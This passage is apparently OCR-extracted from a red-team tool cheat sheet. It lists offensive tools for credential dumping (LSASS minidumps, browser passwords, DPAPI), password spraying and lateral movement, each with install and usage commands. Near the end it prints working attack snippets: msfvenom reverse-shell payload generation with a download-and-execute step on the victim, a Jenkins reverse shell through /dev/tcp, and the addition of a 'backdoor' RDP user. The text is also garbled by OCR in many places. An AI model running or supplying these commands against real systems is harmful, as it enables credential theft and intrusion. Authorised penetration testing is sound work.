operating system that is responsible for enforcing the security policy on the system. It is
responsible for a number of tasks related to security, including authenticating users for logon,
enforcing security policies, and generating audit logs.

Creating a dump of this process can allow an attacker to extract password hashes or other
sensitive information from the process's memory, which could be used to compromise the
system further.

This allows for the creation of a minidump of the LSASS process.

Install:

git clone https://tinyurl.com/29kwh76f.git
Install: (Linux with MinGW)

make —-f Makefile.mingw

Install: (Windows with MSVC)



nmake —-f Makefile.msvc

Install: (CobaltStrike only)
Import the NanoDump.cna script on Cobalt Strike.
Full installation information can be found here.

Usage:

nanodump.x64.exe

nanodump —-silent-process—exit C:\Windows\Temp\

nanodump —-shtinkering

Full usage information can be found here.

beacon> nanodump

[*] Running NanoDump BOF

[+] host called home, sent: 19229 bytes

[*] started download of DESKTOP-QL2JOVE_1634086350_lsass.dmp (11407596 bytes)
[*] download of DESKTOP-QL2JOVE_1634086350_lsass.dmp is complete

[+] received output

The minidump has an invalid signature, restore it running:
bash restore_signature.sh DESKTOP-QL2JOVE_1634086350_lsass.dmp
[+] received output

Done, to get the secretz run:
python3 -m pypykatz lsa minidump DESKTOP-QL2JOVE_1634086350_lsass.dmp

Image used from https://tinyurl.com/29kwh76f

& eviltree

A standalone python3 remake of the classic "tree" command with the additional feature of
searching for user provided keywords/regex in files, highlighting those that contain matches.
Created for two main reasons:

e While searching for secrets in files of nested directory structures, being able to visualize
which files contain user provided keywords/regex patterns and where those files are located
in the hierarchy of folders, provides a significant advantage.

e tree is an amazing tool for analyzing directory structures. It's really handy to have a



standalone alternative of the command for post-exploitation enumeration as it is not pre-
installed on every linux distro and is kind of limited on Windows (compared to the UNIX
version).

Install:

git clone https://tinyurl.com/2xtfjlh5

Usage:

python3 eviltree.py -r /var/www —-x ".{0,3}passw.{0,3}[=1{1}.{0,18}" -v

python3 eviltree.py -r C:\Users\USERNAME -k passw,admin,account, login,user -L 3 -

# python3 eviltree.py -r /var/www -x ".{0,3}passw.{0,3}[=1{1}.{0,18}" -

L L TR

by t313machus

12 directories, 21 files
Image used from https://tinyurl.com/2xtfjlh5

&= SeeYouCM-Thief

Simple tool to automatically download and parse configuration files from Cisco phone systems
searching for SSH credentials.

Will also optionally enumerate active directory users from the UDS API.



Blog - Exploiting common misconfigurations in cisco phone systems

Install:

git clone https://tinyurl.com/24p7d5vl
python3 -m pip install -r requirements.txt

Usage:

./thief.py -H <CUCM server> ——userenum
./thief.py -H <Cisco CUCM Server> [--verbose]
./thief.py —-phone <Cisco IP Phoner> [--verbose]

./thief.py —-subnet <subnet to scan> [--verbose]

[/tmp/pycharm_project _977] python3 thief.py phone
The detected IP address/hostname for the CUCHM server 1is
Credentials Found in Configurations!
SEP7081 cnf.xml.s
SEP5CAA4 cnf.xml.
SEPBA4ES cnft.xml.s
( cnf.xml.
cnf.xml.s
cnf.xml.
chnf.xml.s
cnt.xml ‘
. cnf.xml.sg
admin Plaintext SEPDA8C .cnf.xml.sgn
ccmadmin cnf.xml.sg
cnt.xml.sgn
cnf.xml.sg
SEP24BE¢ cnf.xml.sgn
SEP24B¢ cnf.xml.sg
SEP24B¢ cnf.xml.sgn

uq

o4

, U9 U9 US U9

Image used from https://tinyurl.com/y7gvahto

& MailSniper

MailSniper is a penetration testing tool for searching through email in a Microsoft Exchange
environment for specific terms (passwords, insider intel, network architecture information, etc.).
It can be used as a non-administrative user to search their own email or by an Exchange
administrator to search the mailboxes of every user in a domain.



MailSniper also includes additional modules for password spraying, enumerating users and
domains, gathering the Global Address List (GAL) from OWA and EWS and checking mailbox
permissions for every Exchange user at an organization.

Nice blog post with more information about here.
MailSniper Field Manual

Install:

git clone https://tinyurl.com/yawxbjof
cd MailSniper
Import-Module MailSniper.psl

Usage:

Invoke-SelfSearch -Mailbox current-user@domain.com

cmdlet Get-Credential at command pipeline position 1

*Image used from https://tinyurl.com/269jm4qgk

& SharpChromium

SharpChromium is a .NET 4.0+ CLR project to retrieve data from Google Chrome, Microsoft
Edge, and Microsoft Edge Beta. Currently, it can extract:

e Cookies (in JSON format)
e History (with associated cookies for each history item)

e Saved Logins

This rewrite has several advantages to previous implementations, which include:



No Type compilation or reflection required

Cookies are displayed in JSON format, for easy importing into Cookie Editor.

No downloading SQLite assemblies from remote resources.

Supports major Chromium browsers (but extendable to others)
Install:

Using Visual Studio Community Edition.

Open up the project .sIn, choose "release", and build.

Usage:

.\SharpChromium.exe cookies docs.google.com github.com

.\SharpChromium.exe history

.\SharpChromium.exe logins

C:\Users\Duwight\Desktop>.\SharpChrome .exe logins

Chrome {(Current User) ==
Chrome Credential {User: Dwight) ——
: https://github.com/session
Username testl@test.com
Password test

——— Chrome Credential {(User: Dwight) —-—

URL https://bitbhucket .org/account/signin/
Username test

Password test

——— Chrome Credential <(User: Duwight)
URL https://github.com/session
Username protonmaill1234562

Password Sup3rS3CR3TplRSSwhnAAArd

Image used from https://tinyurl.com/2bfknzyz

= dploot

DPAPI (Data Protection Application Programming Interface) provides a set of APIs to encrypt
and decrypt data where a user password is typically used to set the 'master key' (in a user



scenario). So to leverage DPAPI to gain access to certain data (Chrome Cookies/Login Data, the
Windows Credential Manager/Vault etc) we just need access to a password.

dploot is Python rewrite of SharpDPAPI written un C# by HarmjOy, which is itself a port of DPAPI
from Mimikatz by gentilkiwi. It implements all the DPAPI logic of these tools, but this time it is
usable with a python interpreter and from a Linux environment.

Blog - Operational Guidance for Offensive User DPAPI Abuse

Install: (Pip)
pip install dploot
Install: (Git)

git clone https://tinyurl.com/2d970saf.git
cd dploot
make

Usage:

dploot machinecertificates -d waza.local —-u Administrator —p 'Password!123"' 192.1
dploot backupkey -d waza.local -u Administrator -p 'Password!123' 192.168.56.112

dploot certificates -d waza.local -u Administrator -p 'Password!123' 192.168.56.1

Discovery

= PCredz

This tool extracts Credit card numbers, NTLM(DCE-RPC, HTTP, SQL, LDAP, etc), Kerberos (AS-
REQ Pre-Auth etype 23), HTTP Basic, SNMP, POP, SMTP, FTP, IMAP, etc from a pcap file or from
a live interface.

Install:



git clone https://tinyurl.com/h7wafyy

Usage: (PCAP File Folder)

python3 ./Pcredz -d /tmp/pcap-directory-to-parse/

Usage: (Live Capture)

python3 ./Pcredz -i eth@ -v

- $ ./Pcredz -h
usage: Pcredz [-h] [-f FNAME | -d DIR_PATH | -i INTERFACE] [-c] [-t] [-v]

Pcredz 1.0.0 Author: Laurent Gaffie

optional arguments:

-h, --help show this help message and exit

-f FNAME Pcap file to parse

-d DIR_PATH Pcap directory to parse recursivly

-i INTERFACE interface for live capture

-C deactivate CC number scanning (Can gives false positives!)
Include a timestamp in all generated messages (useful for
correlation)
More verbose.

= PingCastle

Ping Castle is a tool designed to assess quickly the Active Directory security level with a
methodology based on risk assessment and a maturity framework. It does not aim at a perfect
evaluation but rather as an efficiency compromise.

Install: (Download)
//tinyurl.com/29jyscs9/releases/download/2.11 /PingCastle_2 .Z1ip
Usage:

./PingCastle.exe



%] Administrator: Windows PowerShell = = n

Vincent LE TOUX (contact@pingcastle.com)
3 https://www.pingcastle.com
Using interactive mode.
Do not forget that there are other command line switches like --help that you can use

What you would like to do: export data, doing the report ? (healthcheck/carto/advanced/consc/nullsession/scanner- defau
t:healthcheck)

Parameters for exporting data

Please specify the domain or server to investigate (default:windowspro.local)

PingCastle v2.5
Starting the task: Healthcheck for windowspro.local
:27:18] Getting domain information
:28:01] Gathering general data
:28:02] Gathering user data
:28:02] Gathering computer data
:28:02] Gathering trust data
:28:02] Gathering privileged group data
:28:02] Gathering delegation data
:28:03] Gathering gpo data
:28:04] Gathering anomaly data
:28:05] Gathering domain controller data (including null session)
:28:05] Gathering network data
:28:05] Computing risks
:28:05] Export completed
:28:05] Generating xml file for consolidation report
:28:05] Generating html report
Task Healthcheck for windowspro.local completed

= Seatbelt

Seatbelt is a useful tool for gathering detailed information about the security posture of a target
Windows machine in order to identify potential vulnerabilities and attack vectors.

It is designed to be run on a compromised victim machine to gather information about the
current security configuration, including information about installed software, services, group
policies, and other security-related settings

Install: (Compile)

Seatbelt has been built against .NET 3.5 and 4.0 with C# 8.0 features and is compatible with
Visual Studio Community Edition.

Open up the project .sIn, choose "release", and build.

Usage:

Seatbelt.exe —group=all -full > output.txt

Seatbelt.exe "LogonEvents 30"



Seatbelt.exe "reg \"HKLM\SOFTWARE\Microsoft\Windows Defender\" 3 .xdefini.* true"

Seatbelt.exe —group=remote —computername=192.168.230.209 -username=THESHIRE\sam -

Full command groups and parameters can be found here.

C:\ProgramData\l at

HEHFHEHFHEHEHEHL
R ((

HERHHHEH RS
HHAHHHAHHHAHAHHHAEH
HEHHEHEHEHAHHH S
HHH S

HHH
G (G
HEHHHHH
CHEFHHFHHEEHEES

*Image used from https://tinyurl.com/2yemrgnp

& ADRecon

Great tool for gathering information about a victim's Microsoft Active Directory (AD)
environment, with support for Excel outputs.

It can be run from any workstation that is connected to the environment, even hosts that are not
domain members.

BlackHat USA 2018 SlideDeck
Prerequisites

e .NET Framework 3.0 or later (Windows 7 includes 3.0)
e PowerShell 2.0 or later (Windows 7 includes 2.0)

Install: (Git)



git clone https://tinyurl.com/275ah4s3

Install: (Download)
You can download a zip archive of the latest release.

Usage:

PS C:\> .\ADRecon.psl

PS C:\>.\ADRecon.psl -DomainController <IP or FQDN> -Credential <domain\username>

PS C:\>.\ADRecon.psl -Protocol LDAP -DomainController <IP or FQDN> -Credential <d

PS C:\>.\ADRecon.psl -Protocol ADWS -DomainController <IP or FQDN> -Credential <d

Full usage and parameter information can be found here.



PS C:\Users\vry4n\Downloads> .\ADRecon.psl ADRecon_results
ADRecon v1.1 by Prashant Mahajan (@prashant3535)
Running on oscp-lab.com\OSCP-WINAD-SERV - Primary Domain Controller
Commencing - ©1/25/2022 19:26:19
Domain
Forest
Trusts
Sites
Subnets
Default Password Policy
Fine Grained Password Policy - May need a Privileged Account
Domain Controllers
Users - May take some time
tem.NullReferenceException: Object reference not set to an instance of an object.
at ADRecon.ADWSClass.UserRecordProcessor.processRecord(Object record) Exception caught.
System.NullReferenceException: Object reference not set to an instance of an object.
at ADRecon.ADWSClass.UserRecordProcessor.processRecord(Object record) Exception caught.
User SPNs
PasswordAttributes - Experimental
Groups - May take some time
Group Memberships - May take some time
OrganizationalUnits (OUs)
GPOs
gPLinks - Scope of Management (SOM)
DNS Zones and Records
Printers
Computers - May take some time
Computer SPNs
LAPS - Needs Privileged Account
NING: [*] LAPS is not implemented.
BitLocker Recovery Keys - Needs Privileged Account
-] ACLs - May take some time
WARNING: [*] SACLs - Currently, the module is only supported with LDAP.
-] GPOReport - May take some time
[¥] Total Execution Time (mins): ©.18
[*] Output Directory: C:\Users\vry4n\Downloads\ADRecon_results

|
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y

*Image used from https://tinyurl.com/2yd4zfnx

&= adidnsdump

By default any user in Active Directory can enumerate all DNS records in the Domain or Forest
DNS zones, similar to a zone transfer.

This tool enables enumeration and exporting of all DNS records in the zone for recon purposes
of internal networks.

Install: (Pip)
pip install git+https://tinyurl.com/27rpffyg
Install: (Git)

git clone https://tinyurl.com/27rpffyg
cd adidnsdump
pip install .



Note: The tool requires impacket and dnspython to function. While the tool works with both
Python 2 and 3, Python 3 support requires you to install impacket from GitHub.

Usage:

adidnsdump —-u icorp\\testuser ——print-zones icorp-dc.internal.corp

adidnsdump —-u icorp\\testuser icorp-dc.internal.corp

adidnsdump —-u icorp\\testuser icorp-dc.internal.corp -r

Blog - Getting in the Zone: dumping Active Directory DNS using adidnsdump

(adidnsdump-4X1In7UR) dirkjan@ubuntu:~/adidnsdump$ adidnsdump -u icorp\\testuser icorp-dc.internal.corp
Password:

[-] Connecting to host...

[-] Binding to host

[+] Bind OK

[-] Querying zone for records

[+] Found 17 records

(adidnsdump-4X1In7UR) dirkjan@ubuntu:~/adidnsdump$ head records.csv
type,name,ip

A,wpad,10.1.1.2

A,wpad,10.1.1.1

A,testpwm,192.168.111.12

A,testpm,192.168.111.12

A,test,10.0.0.10

?,notinternal,?

A,newhost,10.1.1.1

?,ICORP-W10,?

Image used from https://tinyurl.com/2akqguh58

= kerbrute

A tool to quickly bruteforce and enumerate valid Active Directory accounts through Kerberos
Pre-Authentication.

Install: (Go)
go get github.com/ropnop/kerbrute
Install: (Make)

git clone https://tinyurl.com/y66kz8ad



cd kerbrute
make all

Usage:

./kerbrute_linux_amd64 userenum —-d lab.ropnop.com usernames.txt
./kerbrute_linux_amd64 passwordspray —-d lab.ropnop.com domain_users.txt Passwordl
./kerbrute_linux_amd64 bruteuser —-d lab.ropnop.com passwords.lst thoffman

./kerbrute -d lab.ropnop.com bruteforce -

'~/blog/kerbrute
userenum 10.10.22.158 spookysec.local userlist.txt

//

/111 ] _\

/1l
\__,_/\_/\__/

Version: dev (n/a) - 07/15/22 - Ronnie Flathers @ropnop

2022/07/15 09:22:57 > Using KDC(s):
2022/07/15 ©09:22:57 > 10.10.22.158:88

2022/07/15 09:45:19 > Done! Tested 73317 usernames (16 valid) in 1340.695 seconds

*Image used from https://tinyurl.com/23vjh2hh

~scavenger



Scavenger is a multi-threaded post-exploitation scanning tool for scavenging systems, finding
most frequently used files and folders as well as "interesting" files containing sensitive
information.

Scavenger confronts a challenging issue typically faced by Penetration Testing consultants
during internal penetration tests; the issue of having too much access to too many systems with
limited days for testing.

Install:

First install CrackMapExec from here.

git clone https://tinyurl.com/ybgnmvcu
cd scavenger

Usage:

python3 ./scavenger.py smb -t 10.0.0.10 -u administrator —-p Passwordl1l23 -d test.l

Nice blog post.

*Image used from https://tinyurl.com/2490b6g4



Lateral Movement

= crackmapexec

This is a great tool for pivoting in a Windows/Active Directory environment using credential pairs
(username:password, username:hash). It also offered other features including enumerating
logged on users and spidering SMB shares to executing psexec style attacks, auto-injecting
Mimikatz/Shellcode/DLL's into memory using Powershell, dumping the NTDS.dit and more.

Install:

sudo apt install crackmapexec
Usage:

crackmapexec smb <ip address> -d <domain> -u <user list> -p <password list>

root@JEFFLAB-DEBO2:~/CrackMapExec# cme smb ~/targets.txt -id 1 -M empire exec -o LISTENER=DeathStar
EMPIRE_E... [+] Successfully generated launcher for listener 'DeathStar’
192.168.12.131 445 JEFFLAB-PCO1 Windows 10 Enterprise 10586 x64 (name:JEFFLAB-PCO1l) (doma
in:JEFFLAB) (signing:False) (SMBvl1l:True)
192.168.12.211 445 JEFFLAB-APPO1 Windows Server 2016 Standard 14393 x64 (name:JEFFLAB-APPO
1) (domain:JEFFLAB) (signing:False) (SMBv1:True)
192.168.12.209 445 JEFFLAB-SQLO2 Windows Server 2016 Standard 14393 x64 (name:JEFFLAB-SQLO
2) (domain:JEFFLAB) (signing:False) (SMBv1:True)
192.168.12.131 445 JEFFLAB-PCO1 JEFFLAB\Michael:P@ssword (Pwn3d!)
192.168.12.211 445 JEFFLAB-APPO1 JEFFLAB\Michael:P@ssword (Pwn3d!)
192.168.12.209 445 JEFFLAB-SQLO2 JEFFLAB\Michael:P@ssword (Pwn3d!)
. 192.168.12.131 445 JEFFLAB-PCO1 Executed Empire Launcher
. 192.168.12.211 445 JEFFLAB-APPO1 Executed Empire Launcher
_E... 192.168.12.209 445 JEFFLAB-SQLO2 Executed Empire Launcher
root@JEFFLAB-DEBO2:~/CrackMapExec#

~WMIOps

WMIOps is a powershell script that uses WMI to perform a variety of actions on hosts, local or
remote, within a Windows environment.

Developed by @christruncer.
Original blog post documenting release.

Install: (PowerShell)

git clone https://tinyurl.com/23uo07ccz
Import-Module WMIOps.psl



Usage:

Invoke—-ExecCommandwWMI

Get-RunningProcessesWMI

Find-ActiveUserswWMI

Get-SystemDrivesWMI

Invoke-RemoteScriptWithOQutput

PS C:\Users\User\Downloads \WMI\WMIOps> Invoke-ExecCommandwMmI desktop-1stl79m netbiosX

GENUS -

CLASS i _PARAMETERS
SUPERCLASS :

DYNASTY ¢ __PARAMETERS

RELPATH :
PROPERTY_COUNT : 2
DERIVATION ]
SERVER
NAMESPACE

13
J

PSComputerName

PS C:\Users\User\Downloads\WMI\WMIOps> Get-SystemDriveswMI 192.168.1.124 netbiosX

DevicelID G (ef
DriveType ok
ProviderName :
: 49383669760
: 63846739968

*Images used from https://tinyurl.com/2yybh2km

= powerLessShell

Tool that uses MSBuild.exe to remotely execute PowerShell scripts and commands without
spawning powershell.exe.

Install:

git clone https://tinyurl.com/y7x3j6gs
cd PowerLessShell



Usage:

python PowerLessShell.py -h

python PowerLessShell.py —type powershell -source script.psl —output malicious.cs

python PowerLessShell.py —-source shellcode.raw —output malicious.csproj

Full usage information can be found here.

f ¢

(Set payload type 'powershell, shellcode')>>> powershell

(Path to the PowerShell script)>>> /root/Downloads/Invoke-WCMDump.psl

(Path for the generated MsBuild out file)>>> /root/Downloads/payload.csproj
(Set USERDOMAIN condition (Default ''))>>>

(Use known process name to perform MsBuild renaming (Default: False))>>>

/root/Downloads/payload.cspro) was generated.

/root/Downloads/payload.csproj.bat was generated.

Run the command inside of /root/Downloads/payload.csproj.bat on the target s
using WMI.

*Image used from https://tinyurl.com/25f3gb7h

= PsExec

PsExec is a part of the Sysinternals suite of tools, which is a collection of utilities for managing
and troubleshooting Windows systems.

It is great for remotely executing commands on target machines.

Note: Some AVs detect PsExec as a 'remote admin' virus.



Install: (PowerShell)

Invoke-WebRequest -Uri 'https://tinyurl.com/2bzjjbkd -OutFile ‘'pstools.zip’
Expand-Archive -Path 'pstools.zip' -DestinationPath "$env:TEMP\pstools"
Move-Item —Path "$env:TEMP\pstools\psexec.exe" .

Remove-Item -Path "$env:TEMP\pstools" -Recurse

Usage:

psexec.exe /accepteula

psexec.exe \\REMOTECOMPUTER hostname

psexec.exe \\x hostname

psexec.exe \\REMOTECOMPUTER -c C:\Tools\program.exe

psexec.exe \\REMOTECOMPUTER hostname -u localadmin -p secret-p@$$word

psexec.exe —s \\REMOTECOMPUTER cmd

Great blog post on PsExec usage.

PS51> psexec cmd

PsExec v2.2 - Execute processes rgmotg]K
Copyright (C) 2001-2016 Mark Russinovic
Sysinternals - www.sysinternals.com

Microsoft windows [Version 10.0.17134.950]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami
nt authority\system

Image used from https://tinyurl.com/yeub7tkr

= LiquidSnake

Liquid Snake is a program aimed at performing lateral movement against Windows systems



without touching the disk.

The tool relies on WMI Event Subscription in order to execute a .NET assembly in memory, the
.NET assembly will listen for a shellcode on a named pipe and then execute it using a variation of
the thread hijacking shellcode injection.

The project is composed by two separate solutions:

e (SharpNamedPipeLoader -the component that will be transformed in VBS via
GadgetToJScript

e LiquidSnake -the component responsible to creating the WMI Event Subscription on the
remote system

Install:

Open both solutions in Visual Studio and build. Make sure to target x64 architecture for the
CSharpNamedPipeLoader .

Output: Two separate EXEs: CSharpNamedPipelLoader.exe and LiquidSnake.exe
Full build information can be found here.
Usage:

Use LiquidSnake.exe agains a host where you have administrative access over as follows:

LiquidSnake.exe <host> [<username> <password> <domain>]
LiquidSnake.exe dc@l.isengard. local
LiquidSnake.exe dc@l.isengard.local saruman DeathToFrodol23 isengard. local

If everything went fine, you should obtain an output similar as the following:

[x] Event filter created.

[x] Event consumer created.

[*] Subscription created, now sleeping
[x] Sending some DCOM love..

[x] Sleeping again... long day

General usage information can be found here.

Full LiquidSnake usage information can be found here.



beacon> make_token ISENGARD\saruman lqazxsw2..

[*] Tasked beacon to create a token for ISENGARD\saruman

[+] host called home, sent: 45 bytes

[+] Impersonated DESKTOP-QUQMCD6\Developer

beacon> execute-assembly /Users/riccardo/Downloads/LiquidSnake.exe 172.16.119.140
[*] Tasked beacon to run .NET program: LiquidSnake.exe 172.16.119.140

[+] host called home, sent: 196167 bytes

[+] received output:

[+] Using current user token

beacon> jobs

[*] Tasked beacon to list jobs

[+] host called home, sent: 8 bytes
[*] Jobs

JID PID Description

4 11320 .NET assembly

[+] received output:
[*] Event filter created.

[+] received output:
[*] Event consumer created.

[+] received output:
[*] Subscription created, now sleeping

[+] received output:
[*] Second some DCOM love..
[*] Sleeping again... long day

Image used from https://tinyurl.com/27cwd3ep#usage

Enabling RDP

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v
netsh advfirewall firewall set rule group="remote desktop" new enable=Yes
net localgroup "Remote Desktop Users" '"backdoor" /add

= Upgrading shell to meterpreter
Shells (https://tinyurl.com/2byssxmg)
After getting basic shell access to an endpoint a meterpreter is nicer to continue with.

[attacker] Generate a meterpreter shell:



msfvenom —-p windows/meterpreter/reverse_tcp —a x86 —-—encoder x86/shikata_ga_nai L
msfvenom -p linux/x86/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x8

[victim] Download to victim endpoint:

powershell " (New-Object System.Net.WebClient).Downloadfile('http://<ip>:8000/shel

[attacker] Configure listener:

use exploit/multi/handler

set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST your-ip

set LPORT listening-port run’

[victim] Execute payload:

Start-Process '"shell-name.exe""

= Forwarding Ports

Sometimes, after gaining access to an endpoint there are local ports. Making these internal
ports external routable can help for lateral movement to other services on the host.

socat TCP-LISTEN:8888,fork TCP:127.0.0.1:80 &
socat TCP-LISTEN:EXTERNAL_PORT, fork TCP:127.0.0.1:INTERNAL_PORT &

&= Jenkins reverse shell



If you gain access to a jenkins script console you can use this to gain a reverse shell on the
node.

Runtime.getRuntime()
r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/IP_ADDRESS/PORT;cat <&5 | while re
p.waitFor()

T 5
1l

= ADFSpoof
Created by Doug Bienstock @doughsec while at Mandiant FireEye.
ADFSpoof has two main functions:

1. Given the EncryptedPFX blob from the AD FS configuration database and DKM decryption
key from Active Directory, produce a usable key/cert pair for token signing.

2. Given a signing key, produce a signed security token that can be used to access a federated
application.

This tool is meant to be used in conjunction with ADFSDump. ADFSDump runs on an AD FS
server and outputs important information that you will need to use ADFSpoof.

Install:

Note: ADFSpoof requires the installation of a custom fork of the Python Cryptography package,
available here.

git clone https://tinyurl.com/2yzcsd3v
pip install -r requirements.txt

Usage:

python ADFSpoof.py -b EncryptedPfx.bin DKMkey.bin dump

python ADFSpoof.py —-b EncryptedPfx.bin DkmKey.bin -s sts.doughcorp.com 0365 ——upn

Full usage information can be found here.

Additional command examples can be found here.



usage: ADFSpoof.py [-h] (-b BLOB BLOB | -c CERT) [-p PASSWORD] [-v VERBOSE]
[--assertionid ASSERTIONID] [--responseid RESPONSEID]
[-s SERVER] [-a ALGORITHM] [-d DIGEST] [-o OUTPUT]
{0365,dropbox,saml2,dump} ...

optional arguments:
-h, --help show this help message and exit
-b BLOB BLOB, --blob BLOB BLOB
Encrypted PFX blob and decryption key
-c CERT, --cert CERT AD FS Signing Certificate
-p PASSWORD, --password PASSWORD
AD FS Signing Certificate Password
-v VERBOSE, --verbose VERBOSE
Verbose Output
--assertionid ASSERTIONID
AssertionID string. Defaults to a random string
--responseid RESPONSEID
The Response ID. Defaults to random string
-s SERVER, --server SERVER
Identifier for the federation service. Usually the
fqdn of the server. e.g. sts.example.com DO NOT
include HTTPS://
-a ALGORITHM, --algorithm ALGORITHM
SAML signing algorithm to use
-d DIGEST, --digest DIGEST
SAML digest algorithm to use
-0 OUTPUT, --output OUTPUT
Write generated token to the supplied filepath

Image used from https://tinyurl.com/2yzcsd3v#usage

= Coercer

A python script to automatically coerce a Windows server to authenticate on an arbitrary
machine through many methods.

Features:

e Lists open SMB pipes on the remote machine (in modes scan authenticated and fuzz
authenticated)

e Tries to connect on a list of known SMB pipes on the remote machine (in modes scan
unauthenticated and fuzz unauthenticated)




e Calls one by one all the vulnerable RPC functions to coerce the server to authenticate on an
arbitrary machine.

e Random UNC paths generation to avoid caching failed attempts (all modes)

e Configurable delay between attempts with --delay
More feature information here.

Install: (pip)

sudo python3 -m pip install coercer

Usage:

./Coercer.py scan -t 192.168.1.1 -u 'username' -p 'password' -d test.locl -v
./Coercer.py coerce -1 192.168.1.2 -t 192.168.1.1 —-u 'username' -p 'password' -d

./Coercer.py fuzz -t 192.168.1.1 -u 'username' -p 'password' -d test.locl -v

scan -t 192.168.1.46 -u 'podalirius' -p 'Coercel23!' -d COERCE.local -v

A
[ NN ] ] _\ ___/
/11 /1 /-] __// v2.1-blackhat-edition
| WY A\ VY A VD OV A VY A W A | by @podalirius_

[info] Starting scan mode

[info] Scanning target 192.168.1.46

[+] Listening for authentications on '192.168.1.27'

['] SMB named pipe '\PIPE\Fssagentrpc' is !

[+] SMB named pipe '\PIPE\efsrpc' is accessible!

[+] Successful bind to interface (df1941c5-fe89-4e79-bf10-463657acf44d, 1.0)!
[+] (SMB Auth) MS-EFSR—>EfsRpcDecryptFileSrv(FileName="'\\192.168.1.27\5AhCpcoV\file.txt\x00")
(SMB Auth) MS-EFSR—>EfsRpcDecryptFileSrv(FileName="'\\192.168.1.27\d41le6glL\\x00")
¢ ) MS-EFSR—>EfsRpcDecryptFileSrv(FileName="'\\192.168.1.27\U3uhTKj7\x00")
(SMB Auth) MS-EFSR—>EfsRpcEncryptFileSrv(FileName='\\192.168.1.27\btyIdE31\file.txt\x00")
(SMB Auth) MS-EFSR—>EfsRpcEncryptFileSrv(FileName="\\192.168.1.27\svW9ZMuF\\x00")
( ) MS-EFSR—>EfsRpcEncryptFileSrv(FileName="'\\192.168.1.27\otHgqYG1\x00")
(SMB Auth) MS-EFSR—>EfsRpcFileKeyInfo(FileName="'\\192.168.1.27\ugqKjUHk\file.txt\x00")
(SMB Auth) MS-EFSR—>EfsRpcFileKeyInfo(FileName='\\192.168.1.27\swV1XgCh\\x00")
¢ ) MS-EFSR—>EfsRpcFileKeyInfo(FileName="'\\192.168.1.27\uW4GolWg0\x00")
(SMB Auth) MS-EFSR—>EfsRpcOpenFileRaw(FileName="\\192.168.1.27\T2xLlnzCE\file.txt\x00")
(SMB Auth) MS-EFSR—>EfsRpcOpenFileRaw(FileName="'\\192.168.1.27\cYBNOLg6\\x00")
¢ ) MS-EFSR—>EfsRpcOpenFileRaw(FileName="'\\192.168.1.27\nNoCnlZv\x00")
(SMB Auth) MS-EFSR—>EfsRpcQueryRecoveryAgents(Fi a "\\192.168.1.27\plQ9jwOG\file. txt\x00")
(SMB Auth) MS-EFSR—>EfsRpcQueryRecoveryAgents(FileName="'\\192.168.1.27\I1t900WON\\x00")
¢ ) MS-EFSR—>EfsRpcQueryRecoveryAgents(FileName="'\\192.168.1.27\FbwicsdD\x00")
(SMB Auth) MS-EFSR—>EfsRpcQueryUsersOnFile(FileName="\\192.168.1.27\8vpocujz\file.txt\x00")
[>] (-testing-) MS-EFSR—>EfsRpcQueryUsersOnFile( ="\\192.168.1.27\UfGettye\\x00")

Image used from https://tinyurl.com/2bgpf2qb#quick-start



Collection

* BloodHound

An application used to visualize active directory environments. A quick way to visualise attack
paths and understand victims' active directory properties.

Install: PenTestPartners Walkthrough

Custom Queries: CompassSecurity BloodHoundQueries

B8loodHound

o
o

e Be

oo oo

= Snaffler

Snaffler is an advanced credential scanner/collector for Active Directory environments. With a
great README.

Snaffler uses a system of "classifiers", each of which examine shares or folders or files or file
contents, passing some items downstream to the next classifier, and discarding others. Each
classifier uses a set of rules to decide what to do with the items it classifies.

More information about Snaffler rules.



'Broadly speaking - it gets a list of Windows computers from Active Directory, then spreads out
its snaffly appendages to them all to figure out which ones have file shares, and whether you
can read them.' - Snaffler README (2023)

Install:
You can download the binary from the GitHub Releases Page.

Usage:

Snaffler.exe -s —-i C:\

snaffler.exe -s -0 snaffler.log

by 18ss and Sh3r4 - github.com/SnaffCon/S

Info] Parsing args...
Info] Parsed
:r'lf()] Invok

Info] Getting
Info]

(

Z [ und
30Z [Info] Invok
8Z [Info] Get
(I

I ."lfO] G B )

. [Info] Starting to 1

’ [Info] Created all sharefinde

317 [Share] [§

? [Share]

. [Share] H

, [Share]

2 [Share]




Image used from https://tinyurl.com/2095as9p#what-does-it-look-like

= linWinPwn

linWinPwn is a bash script that automates a number of Active Directory Enumeration and
Vulnerability checks.

The script uses a number of tools and serves as wrapper of them. Tools include: impacket,
bloodhound, crackmapexec, enum4linux-ng, ldapdomaindump, Isassy, smbmap, kerbrute,
adidnsdump, certipy, silenthound, and others.

linWinPwn is particularly useful when you have access to an Active Directory environment for a
limited time only, and you wish to automate the enumeration process and collect evidence
efficiently.

Install:

git clone https://tinyurl.com/22gfh2j3
cd linWinPwn; chmod +x linWinPwn.sh
chmod +x install.sh

./install.sh

Usage:

./linWinPwn.sh -t <Domain_Controller_IP> [-d <AD_domain> -u <AD_user> -p <AD_pass

./linWinPwn.sh -t <Domain_Controller_IP> —-auto-config

./linWinPwn.sh -t <Domain_Controller_IP> —-1ldaps

./linWinPwn.sh -t <Domain_Controller_IP> -M pwd_dump [-d <AD_domain> -u <AD_user>

Full usage information here.



—(kali%kali)-[/opt/linWinPwn ]
$ ./linWinPwn. st 10.10.10.161 forest.htb_unauth

— A 6 N [ W S
NN/ NI NN 7] N
LTINvv/s LT /v v/ ]

S N N Y B O ASAN A Iy

Automate some internal Penetration Testing processes

linWinPwn: alpha version
https://github.com/lefayjey/linWinPwn
Author: lefayjey

Inspired by: S3cur3ThisShlt's WinPwn
https://github.com/S3cur3ThisShlt/WinPwn

Thu Jan 27 11:36:09 PM CET 2022

Authentication method: anonymous login or empty password
Target domain: htb.local

Domain Controller's FQDN: FOREST.htb.local

Running modules: ad_enum,kerberos

DNS dump using adidnsdump
v Enumeration
BloodHound

ldapdomain enur

Connecting as anonymous user, dumping will probably fail. Consider specifying a username/password to login with
Connecting to host...

Binding to host

Bind OK

Starting domain dump

Image used from https://tinyurl.com/22q9fh2j3#demos

Command and Control

mLiving Off Trusted Sites Project

C2 implants can be detected by defenders looking for unusual network traffic to uncommon
domains. Additionally proxy solutions can sometimes block connections to untrusted domains.

Being able to hide your C2 traffic via a trusted domain will help you to stay undetected and
